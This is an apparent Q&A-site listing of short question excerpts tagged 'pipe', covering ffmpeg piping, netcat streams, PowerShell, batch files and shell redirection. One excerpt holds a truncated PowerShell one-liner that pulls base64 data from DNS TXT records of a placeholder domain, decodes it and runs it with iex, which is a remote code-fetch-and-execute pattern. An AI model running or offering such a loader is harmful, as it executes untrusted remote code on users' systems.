Questions tagged [pipe]

Pipes or named pipes are a feature of the POSIX standard that allow separate processes to communicate with each other without having been designed explicitly to work together.

Filter by
Sorted by
Tagged with
0
votes
0answers
17 views

Use named pipes in ffmpeg

In my application I want to modify various mp3 and then mix them together. I know I could do it with a single command line in FFmpeg but it can end up very messy since I need to use various filter on ...
0
votes
0answers
17 views

Separator between pipe: outputs

When I input multiple images and try to read converted output using pipe: I managed to get this gibberish output. ffmpeg -i .jpg -map 0 -f webp pipe: -i .jpg -map 1 -f webp pipe: [libwebp_anim @ ...
1
vote
1answer
37 views

How does a Unix program know to change output if it's being piped?

Calling something like ag (a grep alternative) results in an output that's human readable. Results are printed with headers. Useful for humans, horrible for programs. $ ag 'filter\(' tests/...
0
votes
1answer
21 views

How to convert binary input into utf-16 characters on bash

I have bunch of bytes that has random bits in order and some of them 9 and 10. I can convert the 8 bit binary data into characters with a perl script like below. perl -lape '$_=pack"(B8)*",@...
0
votes
1answer
145 views

Script runs slow processing stdout piped from service

I am using a utility named oscdump which listens on a specified port for OSC messages and prints the messages to stdout. I wish to parse and process these messages in a script however my script runs ...
0
votes
0answers
64 views

Send ffmpeg segments to stdout so they can be processed by next pipe

I have a pipeline like ffmpeg -i input.mov -f matroska - |\ ffmpeg -i - -codec copy -map 0 -reset_timestamps 1 \ -segment_time 10 -f segment output/out%03d.mov which works and it is splitting the ...
1
vote
1answer
37 views

Delete trailing hashes in a list of URLs using powershell?

I got a bit rusty with PowerShell, and I am missing the correct search terms, so I hoping asking here is ok. I have list of URL of the following structure: /pub/pdf/ssm.supervisorymanual.en.pdf?...
0
votes
1answer
111 views

ffmpeg less verbose, without hiding progress bar

Without editing and recompiling ffmpeg from source, how can one hide some of the many lines that it prints when it starts encoding, without also hiding its progress bar that updates every second or so ...
0
votes
0answers
46 views

Why does a linux pipe slow my data transfer?

I noticed that if I use dd to move data from /dev/zero to /dev/null, I can max out around 6.1GB/s by adjusting the block size. dd if=/dev/zero of=/dev/null status=progress bs=512k count=2k # 2048+0 ...
0
votes
1answer
52 views

How can the convert command's output be passed/piped instead of saved to a file?

I made a HTML file with images as base64. I started bash-scripting to make a folders images be base64-printed into this html-file. I worked, I share the code: cat html_head.txt > fil.html for i in *...
0
votes
1answer
41 views

How to netcat to multiple ports

I'am using a raspberry and i need 2 local streams. This is what i've tried: Attempt raspivid <some options> -o - | tee nc localhost 5100 | nc localhost 5000 Question I can receive the output on ...
1
vote
1answer
18 views

windows 10: process 1 output used as process 2 input: pipes

process 1 : adb shell screenrecord --bit-rate 6000000 --size 1280x720 --output-format=h264 - process 2: ffplay -f h264 normally ffplay takes its input as an argument (-i _input) How to pipe those ...
0
votes
0answers
91 views

Sending RTSP stream to ffmpeg instance behind NAT

I have two devices: A and B, which should exchange audio stream via Internet. So, I have one stream from A to B and a second stream from B to A. Another thing is that A has public IP address, B has ...
0
votes
0answers
15 views

Remove multiple files using “find” asking yes to every finding

I'm trying to remove multiple write-protected files but i'm struggling answering "yes" to the prompt. The find command is this: find /media/openhabian/pelis -atime +6 \( -type f -iname "...
0
votes
1answer
53 views

Piping Unrar Output to FFMPEG

I have a password protected .rar file. It's large, so using unrar e large.rar is time consuming. Once extracted, the file will be large.avi Then I have to do ffmpeg -i large.avi large.mp4 I was hoping ...
0
votes
0answers
38 views

Circular pipe in bash

I need a circular pipe in Bash. This doesn’t work: exec 3>&1 | socat | awk | socat >&3 #exec 3>&1 This works: exec 3> /dev/stderr ; echo test >&3 Can somebody provide ...
0
votes
1answer
40 views

“Upload” pipe as if it were a regular file

Suppose I want to tar and compress a file for upload to Google Drive or something, but all without ever saving an intermediate tarball (e.g. because of a lack of disk space and/or the disk is read-...
0
votes
0answers
16 views

When piping sed command, output becomes all spaces

This is for a lab I have in a class, the professor has told me to use sed to remove all punctuation and double spacing by piping together several sed commands. When I pipe the commands together my ...
1
vote
0answers
20 views

How to launch a subprocess with captured output, but letting the subprocess believe it isn't captured?

Imagine launching a subprocess say my_binary in these two ways (I'm using bash for simplicity, but I assume this applies for other languages on POSIX systems): #!/bin/bash # 1) inherit stdout/stderr ...
1
vote
0answers
27 views

Obtain chunk size in split --filter commands?

I'd like to compress a partclone backup on the fly using zstd. Instead of writing one large zstd Frame, the archive should be split into small chunks that allow semi-random access. The latter requires ...
0
votes
2answers
288 views

Unattended WSL Ubuntu 18.04 installation from powershell

Scenario To automatically install and initialize WSL Ubuntu 18.04 with powershell, I am trying to initialize/set the first username and password automatically. However, when I first run the wsl from a ...
0
votes
0answers
23 views

Pass in User Input Values to CLI

Problem I have a CLI command that when ran, it'd ask a series of questions. Example in Bash shell: $ awesomecli configure Host (should begin with https://): https://awesomeurl.com Username: awesome-...
3
votes
1answer
593 views

How/why does ssh output to tty when both stdout and stderr are redirected?

I've just noticed that ssh user@host >/tmp/out 2>/tmp/err can write something like Warning the RAS host key... ... Are you sure you want to continue connecting (yes/no)? stdout and stderr ...
2
votes
1answer
669 views

Pipe output from DIR into CERTUTIL

In Win10, looking for way to pipe the output from a DIR command at the Command Prompt or in a Batch File to serve as input to the CERTUTIL command. IOW, I want to get the MD5 hash for all of the files ...
1
vote
1answer
53 views

Unblock “less” after follow mode / scrolling past end of buffer

I'm using less to capture the output of a live program. Using F activates follow mode, showing me real-time output. However, after entering follow mode (or, more generally, scrolling past the buffered ...
0
votes
1answer
6k views

How do i execute powershell command's with pipes in python?

import subprocess subprocess.Popen('powershell.exe [Get-ADPrincipalGroupMembership %USERNAME% | select name]') os.system('powershell.exe Get-ADPrincipalGroupMembership %USERNAME% | select name]') I ...
4
votes
1answer
143 views

Is there a better way to mitigate this obscure color bug when piping to FINDSTR inside a parenthesized block of (.bat) code?

In the following .BAT file, test 2 demonstrates the color bug inside a parenthesized block of code, test 3 demonstrates the bug inside a FOR loop, and test 4 shows how the bug can be mitigated by ...
0
votes
1answer
33 views

How save terminal output when feeding it with named pipe

We know that we can save the result of a program in Linux terminal with below syntax: terminal.out > result.txt or terminal.out | tee result.txt But I can't save the output of the program when ...
0
votes
1answer
528 views

How do I pipe dmenu output into a command?

I'm experimenting with dmenu and ran into a problem. I want to create a .bash_history menu of previous commands, select one and then have it either run in my terminal. Here is what I have so far. ...
1
vote
3answers
97 views

Piping Set string and escaping in CMD

I'm trying to do: echo|set /P="powershell "$b64=""; (1..2) | ForEach-Object { $b64+=(nslookup -q=txt "$_.somedomain.com")[-1] }; iex([System.Text.Encoding]::ASCII.GetString([System.Convert]::...
2
votes
0answers
118 views

How to transfer files between two hosts through a bastion using netcat and pigz

I have to regularly transfer the contents of folders containing a lot of small files with a volume of around 10GB from one server to another. Before I used the command bellow which did the job very ...
8
votes
4answers
2k views

Circumventing “Remote Host Identification Has Changed” warning

I'm connecting to a lot of devices that uses the same IP addresses. When I'm plugging them into the router I'm getting the warning message REMOTE HOST IDENTIFICATION HAS CHANGED! and need to run ssh-...
0
votes
0answers
27 views

Pipe second output (errors) in batch [duplicate]

I have a batch file in which I need to pipe an exe's output to a command. However, the output is reading as error messages so it is not piping it. For example: mycommand.exe > out.txt would have ...
1
vote
1answer
418 views

Share ssh-agent socket or any other named pipe between windows 10 and cygwin

Cygwin emulates sockets by opening port and adding the port number and a "login" secret to a file instead of using windows named pipes. Further there seems to be no access to Windows named pipes from ...
0
votes
1answer
103 views

How to redirect input in Powershell without BOM?

I am trying to redirect input in Powershell by Get-Content input.txt | my-program args The problem is the piped text is preceded with a BOM (0xefbbbf), and my program cannot handle that correctly. ...
1
vote
0answers
31 views

Cygwin: Is it safe to pipe from /dev/clipboard to clip?

I am using cygwin on windows. Given a long list of strings in the clipboard: mail know trial posture wind census shelf concrete moon fee If I want to "unwrap" them, is it safe to use such a command:...
1
vote
1answer
60 views

How to use pipe into grep to exclude list of files under a second level directory?

I use ripgrep (rg) to list files under a directory. But I want to list files under a second level directory excluding the list of files under one of the directories. Basically if I have ./a/b/c I ...
1
vote
1answer
218 views

How to split and join parallel pipes?

I'd like to pipe the output of 1 command into multiple pipes and pipe outputs from multiple commands into 1 single command. An example of split: # Single output to multiple pipes echo "This is a ...
1
vote
1answer
594 views

Combined decryption and unzipping of a file

I have an encrypted file like file.zip.gpg. Decryption is done using gpg --output file.zip --decrypt file.zip.gpg and unzipping the archive contents using 7z(a) x file.zip afterwards. The first ...
0
votes
1answer
29 views

Why does piped FFMPEG output differ from an explicit file?

The following creates files that have very slightly different toplevel definitions. Why? $ ffmpeg -f lavfi -i "sine=frequency=1000:duration=1" infile.mp3 $ ffmpeg -i infile.mp3 -f wav - > piped....
0
votes
1answer
191 views

Interactive shell through named pipe

Can I create a named pipe, and then use that as an interactive shell? So far I've tried /bin/sh 0<p 1>p (where p is my pipe), and it allows me to execute commands by echoing them into p, but I ...
0
votes
1answer
64 views

Piping `yes` into command doesn't work

I tried the following command yes | parted /dev/sdd mktable gpt So that I can respond to the warning about all data on that drive being lost. However whenever I run parted /dev/sdd print It still ...
1
vote
0answers
51 views

piped FOR command, only the first output gets copied repeatedly

As an attempt to solve this issue, I tried to design a command using two Windows CLI tools, dsfo.exe and dsfi.exe (from DS File Ops Kit). The dsfo tool can extract a block of data from a file and ...
0
votes
1answer
67 views

Pipe 3 terminal commands

I have a task to stop a running process and run it again with the very same command it was run previously with. In a nutshell, I need to change the configs of the running program and restart it to ...
1
vote
1answer
149 views

Input pipe for ar

While extracting a deb file, the simple curl pipe to ar is not working. I tried curl http://example.com/path/to/package.deb | ar -xv - and curl http://example.com/path/to/package.deb | ar -xv ...
4
votes
2answers
279 views

File redirection vs dd

Suppose I want to pipe the output of some command into a file. Is there any difference, however small or nuanced, between simply...well, piping it to a file like some-command > file and piping it ...
2
votes
2answers
351 views

Redirecting process output in Task Spooler

I am running processes of the form command --with arguments > logfile and would now dispatch those via task-spooler, so I tried tsp command --with arguments > logfile but the logfile ...
0
votes
0answers
23 views

Piping into csvcut

Is this valid piping into csvcut - manual does not cover this scenario: cd /home/kaku/public_html/wp-content/uploads/wpallimport/files/ && wget "https://fakeurl.com/Download?file=fdsa34" | ...
1
vote
2answers
2k views

Does piping executes commands in parallel?

I'm trying to understand piping and redirection more in depth. In every guide it says that in cmd1 | cmd2 cmd1 will execute and stdout will be shared with stdin of cmd2. But that doesn't sit quite ...
0
votes
1answer
107 views

“Multiplexing” stdout and stderr in /usr/bin/logger

I recently found out about /usr/bin/logger and I find it very good. I noticed that it contains a priority argument (-p) (facility.info, facility.alert, etc..). So if I want to log just stdin I do it ...

1
2 3 4 5
8